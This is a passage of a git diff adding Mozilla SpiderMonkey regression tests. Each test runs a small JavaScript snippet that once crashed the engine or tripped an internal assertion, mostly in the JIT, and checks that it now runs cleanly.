+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452742;
+var summary = 'Do not do overzealous eval inside function optimization in BindNameToSlot';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = actual = 'No Error';
+
+ var obj = { x: -100 };
+
+ function a(x)
+ {
+ var orig_x = x;
+ var orig_obj_x = obj.x;
+
+ with (obj) { eval("x = x + 10"); }
+
+ if (x !== orig_x)
+ throw "Unexpected mutation of x: " + x;
+ if (obj.x !== orig_obj_x + 10)
+ throw "Unexpected mutation of obj.x: " + obj.x;
+ }
+
+ try
+ {
+ a(0);
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Regress/regress-452742-02.js b/js/src/tests/js1_5/Regress/regress-452742-02.js
new file mode 100644
index 000000000..7a5e9a5b4
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-452742-02.js
@@ -0,0 +1,56 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452742;
+var summary = 'Do not do overzealous eval inside function optimization in BindNameToSlot';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = '';
+
+ var obj = { arguments: [-100] };
+
+ function a()
+ {
+ with (obj) { return eval("arguments[0]"); }
+ }
+
+ function b()
+ {
+ var result;
+ eval('with (obj) { result = eval("arguments[0]"); };');
+ return result;
+ }
+
+ try
+ {
+ var result = a();
+ if (result !== -100)
+ throw "Bad result " + result;
+
+ var result = b();
+ if (result !== -100)
+ throw "Bad result " + result;
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Regress/regress-452853.js b/js/src/tests/js1_5/Regress/regress-452853.js
new file mode 100644
index 000000000..7e9b3f6cf
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-452853.js
@@ -0,0 +1,29 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452853;
+var summary = 'Do not crash in simple loop with array';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ for (var j=0; j<4; ++j) { var a = ["", ""]; a[0] * a[1]; }
+
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Regress/regress-452884-01.js b/js/src/tests/js1_5/Regress/regress-452884-01.js
new file mode 100644
index 000000000..cfd68fa55
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-452884-01.js
@@ -0,0 +1,29 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452884;
+var summary = 'Do not crash in switch';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ for (var j=0;j<5;++j) { switch(1.1) { case NaN: case 2: } }
+
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Regress/regress-452884-02.js b/js/src/tests/js1_5/Regress/regress-452884-02.js
new file mode 100644
index 000000000..3a433c9f2
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-452884-02.js
@@ -0,0 +1,29 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452884;
+var summary = 'Do not crash in switch';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ for (var j=0;j<5;++j) { switch(1.1) { case 2: case NaN: } }
+
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Regress/regress-453024.js b/js/src/tests/js1_5/Regress/regress-453024.js
new file mode 100644
index 000000000..f89a4793f
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-453024.js
@@ -0,0 +1,45 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 453024;
+var summary = 'Do not assert: vp + 2 + argc <= (jsval *) cx->stackPool.current->avail';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+if (typeof window == 'undefined')
+{
+ reportCompare(true, true, summary + ': test requires browser.');
+}
+else
+{
+ gDelayTestDriverEnd = true;
+ var j = 0;
+
+ function test()
+ {
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ for (var i = 0; i < 2000; ++i) {
+ var ns = document.createElementNS("http://www.w3.org/1999/xhtml", "script");
+ var nt = document.createTextNode("++j");
+ ns.appendChild(nt);
+ document.body.appendChild(ns);
+ }
+
+ gDelayTestDriverEnd = false;
+
+ reportCompare(expect, actual, summary);
+
+ jsTestDriverEnd();
+
+ exitFunc ('test');
+ }
+
+ window.addEventListener('load', test, false);
+
+}
diff --git a/js/src/tests/js1_5/Regress/regress-453173.js b/js/src/tests/js1_5/Regress/regress-453173.js
new file mode 100644
index 000000000..804a5cf68
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-453173.js
@@ -0,0 +1,31 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 453173;
+var summary = 'Do not Crash with JIT [@ TraceRecorder::record_JSOP_ENDINIT] with "[,]"';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var i;
+
+
+ for(i=0;i<4;++i) [,];
+
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Regress/regress-453397.js b/js/src/tests/js1_5/Regress/regress-453397.js
new file mode 100644
index 000000000..ec7835f55
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-453397.js
@@ -0,0 +1,46 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 453397;
+var summary = 'Do not assert with JIT: script->main <= target && target < script->code + script->length';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ function computeEscapeSpeed(real) {
+ for (var j = 1; j < 4; ++j) {
+ if (real > 2) {
+ }
+ }
+ }
+
+ const numRows = 4;
+ const numCols = 4;
+ var realStep = 1.5;
+ for (var i = 0, curReal = -2.1;
+ i < numCols;
+ ++i, curReal += realStep) {
+ for (var j = 0; j < numRows; ++j) {
+ computeEscapeSpeed(curReal);
+ }
+ }
+
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Regress/regress-453701.js b/js/src/tests/js1_5/Regress/regress-453701.js
new file mode 100644
index 000000000..a068e5cdc
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-453701.js
@@ -0,0 +1,29 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 453701;
+var summary = 'Do not assert with JIT: (rmask(rr) & FpRegs) != 0';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ (function() { for (var j = 0; j < 5; ++j) { (1).hasOwnProperty(""); } })();
+
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Regress/regress-453747.js b/js/src/tests/js1_5/Regress/regress-453747.js
new file mode 100644
index 000000000..04e57f7a9
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-453747.js
@@ -0,0 +1,37 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 453747;
+var summary = 'Do not assert with JIT: boxed.isUndefined() || boxed.isBoolean()';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ (function(){
+ var a = [];
+ var s = 10;
+ for (var i = 0; i < s; ++i)
+ a[i] = 1;
+ a[4*s-1] = 2;
+ for (var i = s+1; i < s+4; ++i)
+ typeof a[i];
+ })();
+
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Regress/regress-454682.js b/js/src/tests/js1_5/Regress/regress-454682.js
new file mode 100644
index 000000000..ee459d080
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-454682.js
@@ -0,0 +1,33 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 454682;
+var summary = 'Do not crash with JIT in MatchRegExp';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ var a = new String("foo");
+ for (i = 0; i < 300; i++) {
+ a.match(/bar/);
+ }
+
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Regress/regress-454981.js b/js/src/tests/js1_5/Regress/regress-454981.js
new file mode 100644
index 000000000..2e87ba6bf
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-454981.js
@@ -0,0 +1,34 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 454981;
+var summary = 'Do not assert with JIT: size_t(p - cx->fp->slots) < cx->fp->script->nslots';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ function f1() {
+ function f0() { return arguments[0]; }
+ for (var i = 0; i < 4; i++) f0('a');
+ }
+ f1();
+
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Regress/regress-455605.js b/js/src/tests/js1_5/Regress/regress-455605.js
new file mode 100644
index 000000000..73f4fe804
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-455605.js
@@ -0,0 +1,30 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 455605;
+var summary = 'Do not assert with JIT: "need a way to EOT now, since this is trace end": 0';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ for (var j = 0; j < 4; ++j) { switch(0/0) { } }
+
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Regress/regress-455748.js b/js/src/tests/js1_5/Regress/regress-455748.js
new file mode 100644
index 000000000..f96270682
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-455748.js
@@ -0,0 +1,30 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 455748;
+var summary = 'Do not assert with JIT: Should not move data from GPR to XMM';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ for (var j = 0; j < 5; ++j) { if([1][-0]) { } }
+
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Regress/regress-455758-01.js b/js/src/tests/js1_5/Regress/regress-455758-01.js
new file mode 100644
index 000000000..619002ec5
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-455758-01.js
@@ -0,0 +1,30 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 455758;
+var summary = 'Do not assert: (m != JSVAL_INT) || isInt32(*vp)';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ (function() { for (var j = 0; j < 5; ++j) { var t = 3 % (-0); } })();
+
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Regress/regress-455758-02.js b/js/src/tests/js1_5/Regress/regress-455758-02.js
new file mode 100644
index 000000000..213f5edd5
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-455758-02.js
@@ -0,0 +1,30 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 455758;
+var summary = 'Do not crash: divide by zero';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ (function() { for (var j = 0; j < 5; ++j) { 3 % (-0); } })();
+
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Regress/regress-455775.js b/js/src/tests/js1_5/Regress/regress-455775.js
new file mode 100644
index 000000000..03e9f5d47
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-455775.js
@@ -0,0 +1,34 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 455775;
+var summary = 'Do not assert: cx->fp->flags & JSFRAME_EVAL';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ try
+ {
+ (function() { var c; eval("new (c ? 1 : {});"); })();
+ }
+ catch(ex)
+ {
+ }
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Regress/regress-456470.js b/js/src/tests/js1_5/Regress/regress-456470.js
new file mode 100644
index 000000000..6d6d98b8b
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-456470.js
@@ -0,0 +1,38 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 456470;
+var summary = 'TM: Make sure JSOP_DEFLOCALFUN pushes the right function object.';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ function x() {
+ function a() {
+ return true;
+ }
+ return a();
+ }
+
+ for (var i = 0; i < 10; ++i)
+ x();
+
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Regress/regress-456477-01.js b/js/src/tests/js1_5/Regress/regress-456477-01.js
new file mode 100644
index 000000000..9e46cf444
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-456477-01.js
@@ -0,0 +1,30 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 456477;
+var summary = 'Do not assert with JIT: (m != JSVAL_INT) || isInt32(*vp)" with (0/0)%(-1)';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ for (var j = 0; j < 5; ++j) { var t = (0 / 0) % (-1); }
+
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Regress/regress-456477-02.js b/js/src/tests/js1_5/Regress/regress-456477-02.js
new file mode 100644
index 000000000..4e0139cc7
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-456477-02.js
@@ -0,0 +1,30 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 456477;
+var summary = 'Do not assert with JIT: (m != JSVAL_INT) || isInt32(*vp)" with (0/0)%(-1)';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ (function() { for (var j = 0; j < 5; ++j) { (0 / 0) % (-1); } })();
+
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Regress/regress-456494.js b/js/src/tests/js1_5/Regress/regress-456494.js
new file mode 100644
index 000000000..e3a8649c7
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-456494.js
@@ -0,0 +1,48 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 456494;
+var summary = 'Do not crash with apply and argc > nargs';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ function k(s)
+ {
+ }
+ function f()
+ {
+ for (i = 0; i < 10; i++)
+ {
+ k.apply(this, arguments);
+ }
+ }
+ f(1);
+
+
+ if (typeof this.tracemonkey != 'undefined')
+ {
+ for (var p in this.tracemonkey)
+ {
+ print(p + ':' + this.tracemonkey[p]);
+ }
+ }
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Regress/regress-456540-01.js b/js/src/tests/js1_5/Regress/regress-456540-01.js
new file mode 100644
index 000000000..5c16774ef
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-456540-01.js
@@ -0,0 +1,30 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 456540;
+var summary = 'Do not assert with JIT: (m != JSVAL_INT) || isInt32(*vp)" with ((-1) % ""';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ for (var j = 0; j < 5; ++j) { var t = ((-1) % "" ); }
+
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Regress/regress-456540-02.js b/js/src/tests/js1_5/Regress/regress-456540-02.js
new file mode 100644
index 000000000..1731b3d03
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-456540-02.js
@@ -0,0 +1,30 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 456540;
+var summary = 'Do not assert with JIT: (m != JSVAL_INT) || isInt32(*vp)" with ((-1) % ""';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ (function() { for (var j = 0; j < 5; ++j) { ((-1) % "" ); } })();
+
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Regress/regress-457065-03.js b/js/src/tests/js1_5/Regress/regress-457065-03.js
new file mode 100644
index 000000000..e00f23620
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-457065-03.js
@@ -0,0 +1,32 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 457065;
+var summary = 'Do not assert: !fp->callee || fp->thisp == fp->argv[-1].toObjectOrNull()';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ (function() {
+ new function (){ for (var x = 0; x < 3; ++x){} };
+ })();
+
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Regress/regress-457456.js b/js/src/tests/js1_5/Regress/regress-457456.js
new file mode 100644
index 000000000..2e3a52ece
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-457456.js
@@ -0,0 +1,30 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 457456;
+var summary = 'Do not assert with JIT: cond->isCond()';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ for (var j = 0; j < 4; ++j) { if (undefined < false) { } }
+
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Regress/regress-457778.js b/js/src/tests/js1_5/Regress/regress-457778.js
new file mode 100644
index 000000000..d9f1c4b22
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-457778.js
@@ -0,0 +1,30 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 457778;
+var summary = 'Do not assert with JIT: cond->isCond()';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ for (var j = 0; j < 4; ++j) { if (undefined < false) { } }
+
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Regress/regress-458851.js b/js/src/tests/js1_5/Regress/regress-458851.js
new file mode 100644
index 000000000..843bb4f2a
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-458851.js
@@ -0,0 +1,30 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 458851;
+var summary = 'TM: for-in loops should not skip every other value sometimes';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+
+function f() {
+ var a = [1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16];
+ var x = 0;
+ for (var i in a) {
+ i = parseInt(i);
+ x++;
+ }
+ print(actual = x);
+}
+
+expect = 16;
+f();
+
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_5/Regress/regress-459085.js b/js/src/tests/js1_5/Regress/regress-459085.js
new file mode 100644
index 000000000..e00c7d736
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-459085.js
@@ -0,0 +1,34 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
